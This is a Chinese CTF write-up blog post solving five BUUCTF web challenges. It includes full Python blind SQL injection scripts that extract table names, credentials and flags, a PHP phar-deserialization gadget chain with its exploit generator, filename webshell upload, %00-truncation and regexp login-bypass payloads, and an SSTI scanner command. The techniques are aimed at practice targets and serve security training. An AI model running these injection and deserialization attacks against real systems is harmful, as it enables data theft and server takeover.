BUUCTF-WEB(81-85)

[CISCN2019 总决赛 Day2 Web1]Easyweb

参考：

[CISCN2019 总决赛 Day2 Web1]Easyweb-CSDN博客

[BUUCTF题解][CISCN2019 总决赛 Day2 Web1]Easyweb - Article_kelp - 博客园 (cnblogs.com)

看robots.txt发现有备份源码

image-20240614150138839

然后我们又在看源码的地方发现了疑似注入的地方

image-20240614150241808

那我们就把这个源码下载下来看一下image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

然后我们可以id=\0,然后经过addslashes这个函数，输入的\0会变成\\0,然后再经过str_replace这个函数，会将\0变成空的，然后只剩下\会把后面的单引号转义，就可以在path处构成注入语句

然后脚本注入

import requests

url = "http://96c2eaee-b021-44ed-bc9d-664271afd669.node5.buuoj.cn:81/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23" # 爆用户名
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23" # 爆密码
result = ""
for i in range(1, 100):
    l = 1
    r = 130
    mid = (l + r) >> 1
    while (l < r):
        payloads = payload.format(i, mid)
        print(url + payloads)
        html = requests.get(url + payloads)
        if "JFIF" in html.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) >> 1
    result += chr(mid)
    print(result)

得到账号密码

admin
16b3dff770f1bbec6c28

登陆进来是一个文件上传

image-20240614162005365

随便传了一个是以.php结尾的

image-20240614162222013

然后就是直接写马，因为提示说是file name被保存在里面，所以我们需要在文件名写马

image-20240614163508231

蚁剑连接 ，根目录找到flag

image-20240614163424507

flag{40bd5863-b69e-470f-a6e8-f2a20da19a00}

[GYCTF2020]Ezsqli

参考：

[GYCTF2020]Ezsqli(无列名注入)-CSDN博客

先输入以下语句，输出的是Nu1L

2||1=1

image-20240615084242243

再试试这个，发现回显V&N

2||1=2

抓包发现是POST传参，参数为id,然后我们搞一下脚本,然后测试得到information被过滤了

然后此处我们用的这个代替表sys.schema_table_statistics_with_buffer

import requests
url='http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/'
payload='2||ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))={1}'
result=''
for i in range(1,100):
   for j in range(32,127):
       payloads=payload.format(i,j)
       data={'id':payloads}
       re = requests.post(url=url, data=data)
       if 'Nu1L' in re.text:
           result += chr(j)
   print(result)

改进版的二分法：

import requests
url='http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/'
payload='2||ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))>{1}'
result=''
for i in range(1,100):
   l = 1
   r = 130
   mid = (l + r) >> 1
   while(l<r):
       payloads=payload.format(i,mid)
       data={'id':payloads}
       re = requests.post(url=url, data=data)
       if 'Nu1L' in re.text:
           l = mid + 1
       else:
           r = mid
       mid = (l+r)>>1
   result += chr(mid)
   print(result)

image-20240615091725471

爆破出来的表名字为

users233333333333333,f1ag_1s_h3r3_hhhhh

然后因为information被过滤了，我们开始考虑无列名注入

这里我们使用ascii偏移的利用,详情可以看[GYCTF2020]Ezsqli(无列名注入)-CSDN博客

字符串比较大小时,先不论长度，先比较第一个字符的ascii码大小，如果相等才会比较下一位，我们就可以利用这点，逐步爆出我们想要的数据

这边也是使用师傅的脚本了

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
    res = ''
    res += flag
    return res
flag = ''
for i in range(1,200):
    for char in range(32, 127):
        hexchar = add(flag + chr(char))
        payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #print(payload)
        data = {'id':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break

然后也是莫名其妙的跑不出来，跑到一半就出了bug

最后拿这个师傅的跑的出来upfine的博客 (cnblogs.com)

import requests
import time

def get_database(url,strings):
    database_length = 1
    DBname = ''
    for i in range(1,100):
        data = {
            'id': "1&&(length(database()))="+str(i)
        }
        rs = requests.post(url,data)
        if 'Nu1L' in rs.text:
            database_length = i
            print('数据库长度为：'+str(database_length))
            break
    for i in range(1,database_length+1):
        for one_char in strings:
            data = {
                'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
            }
            rs = requests.post(url,data)
            if 'Nu1L' in rs.text:
                DBname = DBname + one_char
                print("\r", end="")
                print('正在获取数据库名称，当前已获取到'+str(i)+'位 | '+DBname.lower(), end='')
                break

def get_tablename(url,strings):
    TBname = ''
    print('表名字读取中...')
    for i in range(1, 100):
        for one_char in strings:
            data = {
                'id': "1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database())," + str(
                    i) + ",1)='"+str(one_char)+"'"
            }
            time.sleep(0.05)
            rs = requests.post(url,data)
            if 'Nu1L' in rs.text:
                TBname = TBname + one_char
                print("\r", end="")
                print('表的名字为：' + TBname.lower(), end='')
                break
            if 'Nu1L' not in rs.text and one_char == '~':
                return ''

def get_column(url,strings):
    column_name = ''
    tmp = ''
    print('\nflag信息读取中...')
    for i in range(1, 100):
        for one_char in strings:
            one_char = column_name + one_char
            data = {
                'id':"1&&((select 1,'"+str(one_char)+"') > (select * from f1ag_1s_h3r3_hhhhh))"
            }
            time.sleep(0.05)
            rs = requests.post(url,data)
            if 'Nu1L' not in rs.text:
                tmp = one_char
            if 'Nu1L' in rs.text:
                column_name = tmp
                print("\r", end="")
                print('flag为：' + column_name.lower(), end='')
                break

if __name__ == '__main__':
    url = 'http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/index.php'
    strings = ',-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
    get_database(url,strings)
    get_tablename(url,strings)
    #原来是想着获取column名称，但是未获取到，但是又懒得改名称，所以使用的是column
    get_column(url,strings)

image-20240615095256601

flag{060c7e15-e4a7-4b52-900b-e8ece5d972dc}

[SWPUCTF 2018]SimplePHP

参考：[SWPUCTF 2018]SimplePHP - 何止(h3zh1) - 博客园 (cnblogs.com)

phar反序列化+两道CTF例题_ctf phar-CSDN博客

打开题目有个上传，我试了试然后没有回显路径，同时也得到提示flag.php

image-20240615095938325

然后来到查看文件界面，也看不到我们上传的文件，但是url有个参数，可能是文件包含

image-20240615100026883

然后我试着以下测试，发现是可以读取到源码的

?file=index.php

image-20240615100248635

然后就是可以把源码都保存下来，然后最关键的就是class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

然后无unserialize()，没有过滤phar,而且还存在文件上传

image-20240615101106608

然后我们先看怎么构造链子，我们先利用C1e4r::__destruct()里面的 echo $this->test;,然后把这个C1e4r->test=new Show(),然后这个会触发Show::__toString()方法，然后我们这时候需要把Show->str['str']=new Test,那么$this->str['str']->source就是相当于Test->source,而Test类里面没有这个变量，就会触发Test::__get(source),然后紧接着触发Test::get(source)这个方法，然后设置$this->params["source"]="/var/www/html/f1ag.php",就会执行$this>file_get("/var/www/html/f1ag.php")，然后得到一个base64的返回值，

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;

$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类，所以传入C1e4r对象，将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名，添加要压缩的文件
$phar->stopBuffering();
?>

然后会生成一个exp.phar的文件，我们抓包修改后缀上传,然后去upload目录去看名字

image-20240615115046691

然后再来到查看文件这里

?file=phar://upload/59dfc3cff6aa945215710eef25f8c440.jpg

image-20240615115123881

最后base64解码得到flag

image-20240615105917098

flag{7062064e-aec6-4c75-93e6-ff2a0171583d}

[NCTF2019]SQLi

参考：[BUUCTF题解][NCTF2019]SQLi - Article_kelp - 博客园 (cnblogs.com)

[NCTF2019]SQLi(regexp注入) | (guokeya.github.io)

去访问 /robots.txt

image-20240616084531684

然后访问/hint.txt,然后是一个黑名单以及登录需要的条件

image-20240616084813129

然后我们可以用\转义字符转义一个单引号，然后使用;%00截断，然后构成闭合

sqlquery : select * from users where username='\' and passwd=';%00'
sqlquery : select * from users where username=' \'and passwd=' ;%00'
变成了只查询username字段

然后我们构造payload试一下，查询成功了，但是404

username=\&passwd=||1;%00

image-20240616085851790

那我们就可以用regexp正则来得到密码，由于空格被过滤了，我们用 %09

username=\&passwd=||%09passwd%09regexp%09"^f";%00

发现查询失败，并没有跳转，然后我们写脚本盲注一下，然后我写失败了，还是做不到，只能跑出第一个字母，很离谱(后面也是搞出来了，放在第二个)

import requests
from urllib import parse
import string
import time
str1 = string.ascii_letters+'_'+string.digits
url='http://bd019efb-fb8f-45e8-a2c3-5cf86ab33402.node5.buuoj.cn:81//index.php'
flag='79'
a=parse.unquote('%00')
for i in range(50):
    for i in str1:
        data={"username":"\\",
              "passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a
            }
        r=requests.post(url=url,data=data)
        if 'welcome.php' in r.text:
            flag+=hex(ord(i)).replace('0x','')
            print(flag)
            break
        time.sleep(0.5)
        #防止429

import requests
import urllib
url='http://bd019efb-fb8f-45e8-a2c3-5cf86ab33402.node5.buuoj.cn:81/'
flag=''
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
for i in range(1,100):
   for j in s:
        alpha = flag
        alpha += j
        data1='||/**/passwd/**/regexp/**/\"^{0}\";{1}'.format(alpha,urllib.parse.unquote('%00'))
        data={'username':'\\','passwd':data1}
        re = requests.post(url=url, data=data)
        if 'welcome.php' in re.text:
            flag += j
            print(flag)
            break

796f755f77696c6c5f6e657665725f6b6e6f7737373838393930

然后16进制转字符

you_will_never_know7788990

然后用户名随便填一个，用密码登录

image-20240616094601884

RootersCTF2019]I_❤️_Flask

打开页面，啥都没有

image-20240616101124897

然后推测是SSTI但是没有找到参数

然后直接fenjing梭哈了

python -m fenjing scan --url http://1e86ca3d-bdb4-41d6-adda-f9719179a888.node5.buuoj.cn:81/

image-20240616102133599

flag{e640b909-ff02-474f-baa2-9b3f6a8bdc3a}
posted @ 2024-06-16 10:25  Muneyoshi  阅读(10)  评论(0)  编辑  收藏  举报